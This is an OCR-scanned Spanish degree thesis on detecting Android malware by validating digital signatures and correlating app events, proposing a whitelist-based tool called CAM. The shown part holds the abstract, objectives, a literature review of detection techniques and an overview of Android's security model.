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Resumen y Abstract \%

Resumen

Para la deteccion de software malicioso que compromete aplicaciones en teléfonos
inteligentes con sistema operativo Android, los controles convencionales, utilizados entre el afio
2012 y hasta el primer semestre del afio 2018, requieren de una muestra de malware para realizar
la deteccion. Estos controles de seguridad ejecutan el analisis de aplicaciones en la nube y no
localmente en el dispositivo. La mayoria de los controles se limitan a las aplicaciones ofrecidas
en la tienda de Google (Play Store) y, para que la neutralizacion sea efectiva, la mayoria de ellos
requiere de habilidades especiales que no todo usuario final de Android posee. En este proyecto
se hizo un andlisis de estas técnicas, se compararon sus formas de deteccién y se registraron
sus falencias. Con la informacién obtenida, se disefié e implementd una aplicacién para sistemas
operativos Android en dispositivos méviles llamada CAM (Control de Aplicaciones Mdviles), para
asegurar la integridad de las aplicaciones y revisar si han sido intervenidas con malware, por
medio de la validacién de firmas digitales y la correlacion de eventos. CAM propone una
estrategia de corresponsabilidad entre los desarrolladores de aplicaciones para moviles y la
comunidad de usuarios del sistema operativo, basada en defensa activa para que la seguridad
se convierta en un atributo del sistema y no complemento. La estrategia de corresponsabilidad
busca que los desarrolladores y usuarios publiquen bases de datos de listas blancas de los
principales eventos operativos de sus aplicaciones, para contrastarlas con la informacién que
generen dichos eventos, con el fin de detectar y mitigar amenazas cibernéticas como el
espionaje, la fuga de informacion, la suplantacién de identidad, el robo de contrasefias y el control
remoto del dispositivo por medio de troyanos (bots). También pretende brindar educacién en
materia de ciberseguridad a los usuarios, apoyandose en la entrega de alertas eficientes.

Para el desarrollo de este trabajo de grado, se utilizaron los registros estadisticos de
dispositivos moéviles con sistema operativo Android mas usado entre el 2015y el 2018 y se realiz6
un laboratorio de maquinas virtuales para simular dichas distribuciones de Android, se
examinaron sus principales caracteristicas y eventos operativos tales como: permisos, firmas y
trafico, se intervino las aplicaciones seleccionadas con el paquete de Meterpreter para Android
del framework Metasploit. Para la deteccién de los indicadores de compromiso en las
aplicaciones infectadas se usaron aplicaciones como: Package Info, RL Permissions y Network
Connections entre otras. Estos resultados hicieron posible el desarrollo de la plataforma CAM
para Android con arquitectura cliente-servidor. La plataforma CAM se encarga de almacenar y
correlacionar los eventos operativos validos de las aplicaciones legitimas, en una lista blanca y
posteriormente brindar al usuario un informe eficiente que le permita evitar e identificar cuando
una aplicacion movil genera una ciber-amenaza en un teléfono inteligente.

Palabras claves: Malware, Firmas digitales, Correlacion de eventos, Ciberseguridad, Defensa
activa, Eventos operativos, Indicadores de compromiso, Metasploit framework



VI Deteccién de malware en Android a
partir de la correlacion de eventos

Abstract

For malicious software detection that compromises applications in smartphones with Android
Operating System, conventional controls, used between 2012 the first half of 2018, require a
sample of malware to perform the detection. Most security controls run the applications analysis
in the cloud, and not locally on the device. Other controls are limited to the applications offered in
the Google Play Store. In addition, for the neutralization to be effective, most controls require
special abilities most end user of Android doesn’t have. In this project, an analysis of these
techniques is made, their forms of detection are compared, and their shortcomings are recorded.
With the information obtained from these analyses, an application for Android operating systems
is designed and implemented on mobile devices: CAM (Control for Mobile Applications). To
ensure the applications integrity, it is checked if they have been intervened with malware, through
the digital signatures' validation and events’ correlation. CAM proposes a strategy of co-
responsibility between the mobile application developers and the operating system community
users, based on active defense, so that security becomes systems attribute instead of just being
a complementary service. The co-responsibility strategy aims for developers and users publishing
their application main operational events white-list databases, to contrast them with the
information generated by those applications' events. That way, the collected information may
improve detection and mitigation of cyber threats such as espionage, information leakage, identity
theft, password stealing, and remote device control through trojans (bots). The co-responsibility
strategy also aims to provide education on cyber security to users, based on the delivery of
efficient alerts.

For the development of this degree work, statistical records of mobile devices with the most
used Android operating system between 2015 and 2018, and a laboratory of virtual machines,
were made to simulate said distributions of Android, its main features and operational events such
as: permits, signatures, and traffic were examined. The selected applications were intervened
with the Meterpreter for Android Package of the Metasploit framework. For the commitment
indicators detection in the infected applications, applications such as Package Info, RL
Permissions and Network Connections, among others were used. The results of these
experiments made possible the development of the CAM platform for Android with client-server
architecture development. The CAM platform is responsible for storing and correlating the
legitimate applications valid operational events in a white list. This white list is used to provide
efficient reports to users, so they are able to identify and avoid when a mobile application
generates a cyber-threat on a smartphone.

Keywords: Malware, Digital Signatures, Correlation Events, Cyber Security, Active Defense,
Operative events, Compromise Indicators, Metasploit Framework.
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1 Introduccidn

En la actualidad, el ser humano ha automatizado y sistematizado muchos procesos. Para esto
ha disefiado dispositivos moviles inteligentes que le permiten vivir conectado en todo momento,
generando la posibilidad de tener acceso a informacion de forma casi ilimitada. Esto se ha
logrado gracias a dispositivos que son usados dia a dia, conocidos como teléfonos inteligentes
o smartphones. Estos dispositivos son cada dia mas potentes y robustos en la capacidad de
almacenar diferentes tipos de informacion. Actualmente, en la industria de los dispositivos
moviles se ha desarrollado gran variedad de aplicaciones que ofrecen todo tipo de servicios. Sin
embargo, de manera paralela también se ha abierto la posibilidad a personas mal intencionadas
de desarrollar aplicaciones maliciosas que permiten tener acceso a la informacién confidencial
gue se maneja en los teléfonos inteligentes de los propietarios de dichos dispositivos, como su
ubicacion en tiempo real, acceso a los dispositivos de captura de imagenes o intervencion del
microfono.

La conectividad de todos los dispositivos méviles y plataformas que conforman el ciberespacio
ha maximizado los riesgos para la poblacibn con pocos conocimientos en temas de
ciberseguridad. Por este motivo, el objetivo de este trabajo es brindar a los usuarios una
herramienta que permita generar conocimiento de ciberseguridad. La herramienta disefiada
permite detectar, informar y educar al usuario acerca de los eventos operativos de las
aplicaciones legitimas de la industria, contenidas en una lista blanca con las aplicaciones
instaladas en los dispositivos de los usuarios que ejecuten el sistema operativo Android de
Google Inc. La herramienta disefiada permite a los usuarios avanzados y a los administradores
de la base de datos definir una lista blanca o firma digital de los eventos operativos de las
aplicaciones usadas por los usuarios propietarios de los dispositivos. Esta lista se correlaciona
con las aplicaciones instaladas en los teléfonos inteligentes, con el fin de detectar e informar de
manera amigable los indicadores de compromiso maliciosos de las aplicaciones suplantadas que
fueron instaladas por el usuario final. Asi, el usuario final podra contener, mitigar, reportar las
detecciones en formato de reglas, permitiendo compartir con otras plataformas que hagan
detecciones a partir de este tipo de reglas generadas directamente desde el dispositivo movil y
remediar la intervencion de su dispositivo. La plataforma disefiada, llamada Control de
Aplicaciones Moéviles (CAM), esta limitada a detectar eventos operativos maliciosos en las
aplicaciones configuradas en la lista blanca del administrador. En trabajos futuros se podran
agregar moédulos con funciones como antimalware que permitan escanear indicadores de
compromiso en las aplicaciones no configuradas en la lista blanca y hacer detecciones con las
reglas YARA para generarlas a partir del analisis realizado en los mismos dispositivos moviles,
ademas de médulos como firewalls que permitan bloquear las conexiones a las direcciones IP
no detectadas a las pertenecientes a los desarrolladores de las aplicaciones.



2 Introduccion

1.1 Hipotesis

Los controles convencionales para dispositivos moviles, tales como antimalware y firewalls
entre otros, son insuficientes para determinar cuando un Smartphone esta comprometido o
presenta comportamientos anormales.

Se puede detectar malware en teléfonos inteligentes con sistema operativo Android a través
de la verificacién de firmas digitales y la correlacion de eventos.

1.2 Objetivos

1.2.1 Objetivo General

Disefiar una herramienta de deteccion de malware mediante la interaccién entre usuarios y
aplicaciones a partir de la validacion de firmas digitales y correlacién de eventos en las principales
aplicaciones de los sistemas operativos Android para teléfonos inteligentes.

1.2.2 Obijetivos especificos

¢ Identificar técnicas y métodos de deteccion de malware en sistemas operativos Android
para teléfonos inteligentes.

e Analizar y seleccionar herramientas para monitorear la actividad de las aplicaciones que
se ejecutan en los sistemas operativos Android para teléfonos inteligentes.

o Elaborar un agente que ayude a los usuarios a detectar los comportamientos inusuales
de las principales aplicaciones de los sistemas operativos Android para teléfonos
inteligentes para que se familiaricen con la importancia de la seguridad de la informéatica.
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2 Marco teorico y estado del arte

2.1 Antecedentes

La deteccién de malware en el sistema operativo Android es un campo bastante estudiado,
ya que este es el sistema operativo mas usado en los dispositivos maviles principalmente en los
teléfonos inteligentes. A pesar de que este cuenta con un modelo de seguridad de multi capas
muy robusto, y se han desarrollado diferentes controles por fabricantes de software de seguridad,
los incidentes de seguridad de Android siguen aumentando y los atacantes son cada dia mas
habiles para vulnerar los sistemas. Gran parte de la responsabilidad del funcionamiento de este
modelo de seguridad de Android se deja al usuario final. Esta situacién genera inconvenientes
de seguridad ya que el usuario puede otorgar permisos a las aplicaciones sin verificar. Esto
sumado a los problemas de deteccion de las herramientas convencionales

Se han realizado bastantes estudios que proponen diferentes herramientas de seguridad para
ayudar al usuario en la deteccién de malware en Android. Sin embargo, la oferta de aplicaciones
sigue en aumento y siempre existe el riesgo para el usuario de instalar aplicaciones maliciosas,
al no tener claridad de lo que realmente instala. Android es un espacio muy conveniente para los
desarrolladores que pueden publicar facilmente sus aplicaciones. Esta facilidad hace que los
controles de malware sean insuficientes. Se puede optar por instalar software antivirus y
escanear todas estas aplicaciones antes de descargar, “Sin Embargo la naturaleza reactiva de
los antivirus existentes para moviles es inadecuada para la deteccién de aplicaciones nuevas
intervenidas con mutaciones de virus.

Existen desarrollos de técnicas de deteccion de malware y herramientas que necesitan de una
muestra de malware para aplicar sus métodos de aprendizaje de maquina o que dependen de la
generacion de firmas para realizar una deteccion efectiva. En otras técnicas, una interaccion
efectiva solo se logra si el usuario posee conocimientos avanzados en el manejo del sistema
operativo. La metadata de las aplicaciones en la tienda de Google es la informacién que el
usuario puede conocer antes de realizar la instalacion de la aplicacién en el dispositivo, como los
permisos del sistema operativo, la informacion del desarrollador y el puesto que la aplicacion
ocupa en la tienda, que es informacién relevante para realizar la deteccién de malware. En
ocasiones la metadata no es totalmente publicada no brindando al usuario final informacion
necesaria para que este decida si instala o0 no la aplicacion

Para la realizacién de este trabajo se han analizado los estudios y proyectos que previamente
han tratado de dar solucién al problema del malware en dispositivos moviles. De esta manera se
puede dar una vision general de las utilidades necesarias para llevar a cabo esta labor y conocer
de forma concisa como se puede implementar el proceso de deteccion de malware para
dispositivos méviles, disminuir los ataques de dia cero y bloquear comportamientos indeseables
de aplicaciones relacionados a los permisos que se le otorgan.
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(Kabakus & Dogru, 2018) desarrollaron mad4a. Este es un sistema de deteccidn y analisis de
malware basado en técnicas de andlisis dinamico y estatico, técnicas que tienen sus ventajas y
desventajas. Este modelo utiliza grandes bancos de datos para obtener un mejor contexto de las
acciones realizadas por el malware. Los autores concluyeron que el modelo de permisos de
Android no es lo suficientemente robusto como para dar una idea de qué aplicacion puede ser
benigna o maligna. Otro de los inconvenientes encontrados en dicho modelo es que las
aplicaciones malignas tienden a desconectar el intercambio de datos durante su instalacion y por
ende la cantidad de informacién compartida por la aplicacion es limitada si se compara con la de
aplicaciones benignas, que a su vez presentan una mayor complejidad en la solicitud de permisos
para poder proveer de mas funcionalidades a la aplicacion en proceso de instalacion a diferencia
de las malignas que se enfocan en la forma de realizar dafio y presentan exageracion en sus
solicitudes de permisos.

(Elisth et al, 2018) realizaron un estudio comparativo basado en el comportamiento del
malware y las aplicaciones benighas usando sus caracteristicas estaticas y dinamicas, en el
andlisis estatico, se consideran los permisos necesarios para una aplicacion. Usaron la
herramienta Droidbox la cual es una Sandbox que se usa con el fin de monitorear algunas
acciones de la aplicacién, como actividades de red, actividades del sistema de archivos,
actividades criptogréficas, fuga de informacion, etc, los autores consideran estas acciones, asi
como las llamadas de API dindmicas de las aplicaciones. En ese trabajo se propone implementar
una herramienta antimalware para Android que pueda detectar si una aplicacion es un malware
0 no, antes de la instalacion.

(John & Vinod, 2018) desarrollaron un sistema de andlisis y caracterizacion de malware,
utilizando diferentes caracteristicas como aprendizaje de maquina y analisis estatico, haciendo
uso de caracteristicas como: componentes de hardware, solicitud de permisos, componentes de
las aplicaciones. El experimento usa el conjunto de datos Drebin con més de 3000 muestras de
malware y 1631 muestras benignas recolectadas de la tienda de Google Play Store. consiguiendo
un sistema funcional que permite detectar, clasificar y mejorar el rendimiento, concluyendo que
el enfoque puede ser usado para dar soporte a antivirus comerciales.

(Singh & Hofmann, 2017) buscaron extraer el comportamiento de las llamadas del sistema de
216 aplicaciones maliciosas y 278 aplicaciones normales para construir un vector de
caracteristicas y asi entrenar un clasificador de lenguaje de maquina para realizar la detecciéon
de malware en Android. Incluyen entre otras técnicas de clasificacion y modelos de prediccion
las siguientes: arbol de decisién, bosques aleatorios, potenciacion de gradiente, algoritmo k-NN,
redes artificiales neuronales, maquina de vectores de soporte y aprendizaje profundo. Por medio
de técnicas de clasificacion de caracteristicas se seleccionaron las mas apropiadas entre un
grupo de 337 atributos (llamadas de sistema) y se determiné el peso de estas, descartando las
de menor rango para medir el desempefio de los clasificadores, con eficacia y experiencia. El
experimento muestra que las maquinas de vectores de soporte, después de seleccionar las
caracteristicas a través del andlisis de correlacion, superaron a otras técnicas en las que se logré
una precision del 97.16% con recuperacion del 99.54% para aplicaciones maliciosas. El estudio
también contribuye al identificar el conjunto de llamadas a los sistemas que son cruciales para
identificar la intencion maliciosa de las aplicaciones de Android.
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(Leeds, Keffeler, & Atkison, 2017) examinaron dos tipos de caracteristicas de Android, las
solicitudes de permisos y los llamados al sistema aplicando aprendizaje de maquina, como una
forma de deteccion de malware para Android. Los resultados mostraron que los datos referentes
a la solicitud de permisos son mejores en la deteccién de malware que los datos de llamadas del
sistema. Se logré una tasa promedio de precision de clasificacién del 80% cuando se utilizan
datos de permisos para determinar la actividad maliciosa en dispositivos Android, por lo tanto, es
una forma confiable de detectar malware.

2.2 Técnicas de deteccidon de malware en Android

Para la realizacién de este trabajo se han analizado los estudios y proyectos que se relacionan
en los antecedentes en los que previamente se ha tratado de dar solucién al problema del
malware en dispositivos moviles. De esta manera se puede dar una visién general de las
utilidades necesarias para llevar a cabo esta labor y conocer de forma concisa como se puede
implementar el proceso de deteccion de malware para dispositivos moviles.

En esta seccién se estudian los modos de tratar los datos una vez han sido recopilados y
extraidos del dispositivo que se va a estudiar, asi como los tipos de estrategias de deteccion de
malware en dispositivos mdviles desde cuatro perspectivas, dependiendo de la naturaleza de los
datos. Estas son: andlisis estatico, andlisis dinamico, andlisis mixto y andlisis de metadatos.
También se detallan los conjuntos de malware mas utilizados para realizar pruebas.

2.2.1 Estrategias de deteccion

Para poder extraer los datos de la aplicacibn o sistema y hacerlos Utiles para obtener
conclusiones sobre su legitimidad, hay que elegir qué subconjunto de informacion es el que se
va a analizar. Hay multiples elementos que pueden ser monitorizados en un dispositivo movil.
Por ejemplo, componentes hardware, las comunicaciones, los sensores y el sistema (que incluye
los procesos, la memoria, el planificador y el almacenamiento) o la actividad del usuario.

A continuacién, se detallan las cuatro estrategias de analisis utilizadas en los trabajos
relacionados a esta tematica, en cada una de las cuales se monitorear a uno o varios de los
elementos anteriores.

2.2.2 Analisis Estatico

El andlisis estatico se centra en el estudio del archivo APK que contiene la aplicacion movil
gue se desea analizar. Un archivo APK viene definido por tres aspectos: el fichero
AndroidManifest donde se declaran los permisos que requerira la aplicaciéon, el cddigo fuente
Java que posee la funcionalidad y, por dltimo, los recursos necesarios para un correcto
funcionamiento como pueden ser bases de datos, imagenes o disefios.

De esta forma el andlisis estético investiga acerca de los permisos concedidos a la aplicacion,
su caédigo fuente, sus filtros de intencién, los sensores hardware que utilizara (ya que suelen
sugerir su funcionalidad) y, por ultimo, las direcciones de red asignadas evitando un posible
atague de comando y control.

Una primera aproximacion a este método es proporcionada por Androguard, que permite
descompilar el cédigo Dalvik, y dados dos archivos APK, compara la similitud de su cédigo fuente
en Java.



6 Deteccién de malware en Android a
partir de la correlacion de eventos

(Desnos & Gueguen, 2011) una forma de concluir el estudio del cédigo fuente es identificar el
malware mediante una firma. Esta firma supone haber encontrado una secuencia de llamadas
en el codigo que se ha demostrado maliciosa. Sin embargo, este método es altamente vulnerable
a la ofuscacion, pues una nueva aplicacion con un cambio de orden en esta secuencia sera
indetectable.

(Arp, Munyaneza, Crosslin, Trumble, & Bextine, 2014; Dong-Jie, Ching-Hao, Hahn-Ming, Kuo-
Ping, & I, 2012) DroidMat, en cambio, centra su estudio en los filtros de intencion recogidos en
el AndroidManifest. Para ello procesa los datos mediante la férmula de la probabilidad
condicionada de Bayes y los algoritmos de agrupamiento k-means y vecino mas proximo. Los
autores también utilizan el AndroidManifest para descubrir los recursos hardware que la
aplicacion usara, si por ejemplo necesita 3G y GPS puede tratarse de un malware que registra
la localizacion del usuario. El inconveniente de estas propuestas es dificil conseguir una gran
precision basandose en sélo un aspecto concreto de los que conforman el analisis estatico como
es el AndroidManifest.

(Zhibo, 2012) Otro método que estudia mas caracteristicas es el proporcionado por
TrustDroid. En él se describe una estrategia que consiste en aislar y clasificar las aplicaciones
en distintas categorias en funcién de su procedencia, la firma del desarrollador, las certificaciones
gue posea, los permisos requeridos o la informacion de la que se disponga sobre la aplicacion
en una base de datos comun que se iria creando manera colaborativa. De esta forma se puede
regir el comportamiento de cada categoria y la interaccién entre ellas. Cabe decir que este
método es sencillo, pero, aunque permite identificar malware previamente conocido gracias a la
informacion de la base de datos, seria incapaz de detectar una muestra maliciosa desconocida
o de dia cero.

El andlisis estéatico presenta la ventaja de la sencillez del proceso de extraccion de los datos
necesarios, residentes en el archivo APK (Heras. C & Sierra. L, 2015). Ademas, dado que Android
funciona bajo un nucleo Linux, el estudio de los permisos concedidos a la aplicacién supone la
primera linea de defensa. Sin embargo, un estudio centrado en los permisos no consigue una
alta precision, pues no permite definir las actividades que realmente se estan llevando a cabo.
Por lo tanto, se hace necesario estudiar el cédigo, ya que es la fuente de las acciones maliciosas.
Sin embargo, esta es una labor compleja, pues es vulnerable a técnicas de ofuscacion o cifrado
para evadir los sistemas de deteccion. De esta forma un estudio completo de las caracteristicas
estéticas se convierte en un trabajo con cada vez mas dificultad, que requiere de un desarrollo
agresivo de nuevos métodos.

2.2.3 Analisis Dinamico

El analisis dinAmico consiste en monitorizar el comportamiento del sistema para extraer la
actividad de las aplicaciones instaladas a través de los siguientes identificadores: llamadas al
sistema, interaccion con el usuario, uso de los componentes hardware o tréfico de la red (Heras.
C & Sierra. L, 2015). Posteriormente, se realiza una fase de entrenamiento en la que se aprende
cual es el comportamiento adecuado para poder clasificar de forma correcta los datos obtenidos
y, de este modo, poder distinguir posteriormente las actividades legitimas de las maliciosas.

(Feizollah, Anuar, Salleh, & Amalina, 2015) el modo de analisis dindmico mas extendido es el
estudio de las llamadas al sistema. Esto es debido a que el estudio completo de las
caracteristicas del tréfico de red supone investigar la gran cantidad de registros donde se
almacenan los cambios, lo que puede llegar a ser muy costoso computacionalmente.
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(Shabtai et al., 2016) Dado que el comportamiento del malware debe verse reflejado en varios
ambitos es importante poder seleccionar las caracteristicas mas importantes. Esto permite hacer
el andlisis més sencillo y efectivo. En este sentido, Andromaly propone una plataforma de trabajo
dedicada a la deteccién ligera de malware, llevando a cabo la recopilacion de datos concretos
tales como el consumo de bateria, nUmero de paquetes enviados a través de Wi-FI, el nUmero
de procesos en ejecucion o el consumo de CPU, mas tarde, la informacion es procesada segun
el tipo de amenaza conocida, concluyendo con la emisién de alertas al usuario y la toma de
acciones automaticas que mitiguen la amenaza.

(Saracino, Sgandurra, Dini, & Martinelli, 2016) Otro ejemplo de este método es MADAM. En
€l se mide la frecuencia de ejecucion de cada llamada al sistema en T periodos, seleccionando
las 12 llamadas que se han considerado como mas representativas (open, ioctl, brk, read, write,
exit, close, sendto, recvfrom, recvmdg). También se registra el nimero de SMS enviados, asi
como si el usuario ha estado usando el dispositivo 0, en cambio, ha estado en modo inactivo.

Por lo tanto, la informacion a tratar es representada mediante un vector de datos de 14
posiciones, donde las 12 primeras corresponden a las llamadas y las dos ultimas indican si el
dispositivo ha estado activo y cuantos SMS se han enviado. Este vector es analizado y
comparado con los resultados aprendidos anteriormente, para asi determinar si el
comportamiento del dispositivo esta siendo adecuado (estandar) o malicioso (sospechoso). El
mayor inconveniente de esta aproximacion es la incapacidad de determinar posteriormente, de
forma sencilla, cual es la aplicacién que esta provocando el comportamiento malicioso.

(Burguera, Zurutuza, & Nadjm-Tehrani, 2011) En Crowdroid se proponen registrar las
llamadas al sistema realizadas por una aplicacion durante la interaccién del usuario en su
totalidad. A partir de ello es posible la generaciéon de un vector cuya longitud sea el nUmero de
llamadas que existen en Android (dependiendo de su versién puede variar entre 250 y 380). Para
cada uso de una aplicacién, se registra el niumero de veces que se ha producido cada una de
ellas. Después, se envian los datos a un servidor remoto. En él se agrupan los datos obtenidos
en las diversas ejecuciones mediante el algoritmo K-means y se componen los resultados del
uso legitimo de cada aplicacion. De esta forma, una vez construido un esquema de como deberia
ser su uso normal, este se podra comparar con los datos extraidos de ejecuciones desconocidas
de las aplicaciones para las cuales existan datos en el sistema.

Esta propuesta presenta la ventaja de que, al realizarse el analisis en un servidor externo al
dispositivo, no se consume bateria ni recursos del mismo. Ademas, permite comparar una
ingente cantidad de datos, ya que podria haber muchos dispositivos enviando los suyos. Sin
embargo, la idea de utilizar vectores de llamadas conlleva un claro inconveniente, y es que no
resulta portable entre diferentes versiones de Android.

(Liu, Yan, Zhang, & Chen, 2009) En VirusMeter la deteccién mediante el andlisis del uso de
recursos se centra en el analisis de la bateria del dispositivo. Los autores asumen la premisa de
gue cualquier actividad maliciosa debe consumir energia. Basandose en un modelo de potencia
predefinido para el gasto de la bateria en una actividad normal, se supervisan las actividades del
sistema, y si estas han producido un gasto mayor a un umbral especificado, se advierte al usuario
de la situacion de riesgo.
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En general, esta estrategia de deteccion se hace compleja y costosa en dispositivos con recursos
limitados, como son los dispositivos moviles. Ademas, deben de ser capaces de ignorar su propia
actividad, centrandose Unicamente en las caracteristicas auditadas provenientes de la actividad
externa; Sin embargo, han demostrado ser los mas efectivos, pues permiten identificar el
inevitable rastro que el malware deja en la actividad del sistema puesto que enmascarar la
actividad maliciosa durante la ejecucién conlleva un mayor grado de dificultad que hacerlo en las
caracteristicas estaticas, susceptibles a la ofuscacién y cifrado.

2.2.4 Analisis Mixto

Los entornos mas complejos y mas escasos para la detecciébn de malware utilizan con-
juntamente técnicas de andlisis estatico y dindmico.

En AASandbox se extraen los permisos y el codigo de Java desde el propio archivo APK.
Estos son utilizados como caracteristicas estaticas. A continuacion, se instala la aplicacién
estudiando el sistema de registro de llamadas. Asi son consideradas como caracteristicas
dindmicas. (Blasing, Batyuk, Schmidt, Camtepe, & Albayrak, 2010).

La propuesta de ProfileDroid consiste en examinar el AndroidManifest y el c6digo Java como
caracteristicas estaticas. Ademas, se estudia la interaccion del usuario, el sistema de registro de
llamadas vy el tréfico de red como caracteristicas dindmicas. (X. Wei & Gurkok, 2012).

Estos sistemas, aunque completos, son muy costosos de desarrollar y mantener debido a la gran
cantidad de trabajo que abarcan.

2.2.5 Analisis por Metadatos

Para detectar muestras maliciosas unas pocas propuestas se centran en la informacion de la
aplicacion a la que un usuario puede acceder antes de su descarga. Entre ellos destacan la
descripcion de la aplicaciéon y su valoracién en el mercado de descargas, la identificacion del
creador, la categoria a la que pertenece, los permisos que solicita, nombre del paquete, video
promocional, sitio web de contacto o precio.

(Teufl et al., 2006)(Corporation, 2012) En WHYPER se recogen Unicamente los metadatos
relacionados con los permisos solicitados. En cambio, en se recopilan ademas una gran cantidad
de datos respecto a la dltima vez que se modifico la aplicacion, tales como el precio o el nimero
de descargas.

El inconveniente de estas técnicas es que requieren de nuevos sistemas que permitan la
interpretacion de los datos, como es el caso de sistemas de procesamiento de lenguaje natural,
con el fin de identificar elementos disonantes en las opiniones o en la descripcién de una
aplicacion.

2.3 Android

En esta seccion se presentardn las generalidades del sistema operativo Android,
caracteristicas relevantes, arquitectura, modelo de seguridad y software de seguridad.
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2.3.1 Generalidades de Android

Sistema operativo basado en Linux, disefiado principalmente para méviles e inicialmente
desarrollado por Android Inc, una compafiia que mas tarde fuera adquirida por Google en julio
de 2005.(Camargo, Galindo, & Vega, 2013). La mayoria del cédigo fuente de este sistema, se
encuentra bajo licencia Apache, licencia de software libre y codigo abierto. En este, se
encuentran los drivers necesarios para el acceso al hardware, en concreto, para la gestion de
sus dispositivos. En principio, el desarrollador no accedera directamente a esta capa, sino que
utilizard una serie de librerias que estan en un nivel superior. Estas librerias se encuentran
programadas en C; sin embargo, el programardor accede a estas desde un API (Application
Programming Interface) de Java, lenguaje que se usa para el desarrollo de Android. Para esto,
el sistema incluye una maquina virtual java (JVM), Dalvik, la cual ejecuta archivos con extension
“.dex” en lugar de los “.class” clasicos de java.

2.3.2 Caracteristicas relevantes de Android

¢ El framework de aplicaciones que permite el reemplazo y la reutilizacién de los
componentes.

e Elnavegador integrado el cual esta basado en los motores open source Webkit; SQlite
base de datos para almacenamiento estructurado que se integra directamente con las
aplicaciones.

e El soporte para medios con formatos comunes de audio, video e imagenes planas;
maquina virtual Dalvik entre otras.

2.3.3 Arquitectura Android

La arquitectura interna de Android esta formada basicamente por cinco (5) componentes:

Aplicaciones: las cuales se incluye como base un cliente email, programa de SMS,
calendario, mapas, navegador, contactos y otros. Todas escritas en lenguaje de programacion
Java.

Framework de aplicaciones: los desarrolladores de Android tienen acceso al codigo fuente
usado en aquellas que son base, esto para que no se generen mas componentes distintos, que
respondan a la misma accion (reutilizacion de componentes).

Librerias: Android incluye en su base de datos un set de librerias C/C++, que son presentadas
a todos los desarrolladores a través del framework de las aplicaciones. Algunas son: System C
library, bibliotecas de medios, bibliotecas de graficos, 3D y SQLite, entre otras.

Runtime de Android: incorpora un set de librerias que aportan la mayor parte de las
funcionalidades disponibles en las librerias base del lenguaje de programacion Java. Cada
aplicacion Android corre su propio proceso, con su propia instancia de la maquina virtual Dalvik.
Dalvik ejecuta archivos en el formato Dalvik Executable (.dex), el cual esta optimizado para
memoria minima.

Nucleo Linux: Android depende de Linux para los servicios base del sistema como seguridad,
gestién de memoria, gestion de procesos, pila de red y modelo de controladores. Este, ademas
actla como una capa de abstraccion entre el hardware y el resto de la pila de software.
(Villanova-Pascual, 2016, p13)

La arquitectura Android se ilustra en Figura 2-1
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Figura 2-1. Arquitectura de Android. (Fuente: Villanova-Pascual, 2016).

2.3.4 Modelo de seguridad Android

En el libro Android Security Internals, (Elenkov, 2015), el autor explica cémo funciona el
modelo de seguridad del sistema operativo Android dando una breve descripcion de su
arquitectura y funcionamiento, en este se puede apreciar que Android esta disefiado basado en
un modelo de capas las cuales se comunican através de una interface llamada Binder encargada
de realizar la comunicacién entre los respectivos procesos del sistema para evitar que cualquier
otro pueda acceder a los espacios de memoria reservados y causar problemas de seguridad o
de inestabilidad del sistema. El modelo de seguridad de Android se ilustra en la

Figura 2-2.

; Pracess A - - Process B

i Binder Client : E Binder Server

' ' ' Binder : IBinder

] - || onTransact){
[Binder case CMD1:

- = fransact() . , case CMD2:

Linux Kernel

Binder Driver (/dev/binder)

Figura 2-2. Binder IPC. (Fuente: Elenkov, 2015).

Para reforzar la seguridad durante el afio 2018 Google tiene como tecnologia Bouncer (Hou,
2012), la cual analiza las aplicaciones de Google Play en busca de malware y con la verificacion
de aplicaciones ya ha reforzado su politica para desarrolladores.
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2.3.4.1 Ejecucion en Sandbox heredada de Linux

Cada vez que se instala una aplicacion en Android se crea un usuario Linux para esta, de forma
gue una aplicacién solo tiene acceso a sus recursos y no puede interferir directamente en el
hardware, es lo que se conoce como caja de arena o sandbox. Cualquier dato que la aplicacion
almacene no podra ser leido o modificado por otras aplicaciones a no ser que se declare como
MODE_WORLD_READABLE y/o MODE_WORLD WRITEABLE, es decir, que otras
aplicaciones puedan leer los datos y/o escribir en ellos. Aunque otra aplicacion reescriba
completamente el contenido de otra, el propietario siempre serd el usuario asignado a la
aplicacion que lo creé (Elenkov, 2015).

Gracias a la sandbox, Linux garantiza un nivel seguridad a cada proceso. Cada aplicacién se
ejecuta en un proceso diferente con un usuario de Linux distinto, evitando en gran medida las
interferencias entre aplicaciones. Para que dos aplicaciones se ejecuten en el mismo proceso,
deberan tener el mismo usuario asignado y el mismo certificado digital, y seran tratadas como
una sola. (Simon, 2014).

Las aplicaciones deben estar firmadas con un certificado digital que identifigue al autor. Cada
vez que se modifique la aplicacién esta deberd ser firmada de nuevo y solo podra hacerlo el
propietario de la clave privada.

Se han encontrado diversos bugs que permitian modificar la aplicacion saltdndose este
certificado, y las diversas compafiias lanzaron actualizaciones para sus terminales.

2.3.4.2 Modelo de permisos

El mas importante pilar de seguridad en Android son los permisos. Si una aplicacién desea
realizar alguna accién que pueda comprometer la seguridad de nuestro dispositivo debe utilizar
los permisos, de forma que el usuario estd completamente informado de los riesgos que puede
llevar instalar esa aplicacion y decidir si instalarla o no. Si una aplicacién intenta hacer uso de un
permiso no declarado se creara una excepcion de permiso y la aplicacion se detendra. (Simon,
2014).

2.3.5 Controles de seguridad para Android

En esta seccién se muestran algunos controles de seguridad para Android desarrollados por
la comunidad cientifica y fabricantes de software de seguridad, un analisis mas detallado de estos
trabajos se encuentra en la Tabla 8-1 y Tabla 8-2 del Anexo A

En el articulo “Riesgos de seguridad en Android del afio 2015”, de la revista Seguridad.
Defensa digital de la Universidad Autbnoma de México, se revisan varias amenazas enfocadas
especificamente en el sistema operativo Android, con el propdésito de conocer los riesgos a los
gue estd expuesto un usuario cuando utiliza esta tecnologia planteando esto como un primer
paso en el camino para proteger la informacion (Mendoza Lépez, 2015).
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El objetivo del proyecto de fin de carrera, ingenieria de telecomunicaciones de la Universidad
Carlos Ill de Madrid, “Gestion de riesgo en dispositivos Android basada en eliminacion de
vulnerabilidades y deteccién de contextos del afio 2013”, era proporcionar un mayor control sobre
los riesgos de seguridad en Android. En este se pretendia incrementar el conocimiento y el
control sobre las posibles vulnerabilidades presentes en las aplicaciones, ademas de contribuir
a la adaptabilidad automatica de la seguridad del dispositivo en funcion de su entorno. El sistema
implementado cuenta con un gestor de vulnerabilidades y un moédulo de seguridad por contexto,
repositorio publico de vulnerabilidades software estadounidense y la APl de Android, tras la
evaluacion de varias alternativas como posibles fuentes de informacién. (de Matias Garcia,
2013).

En lo que respecta a seguridad en la configuracion de dispositivos se encuentra la “Guia de
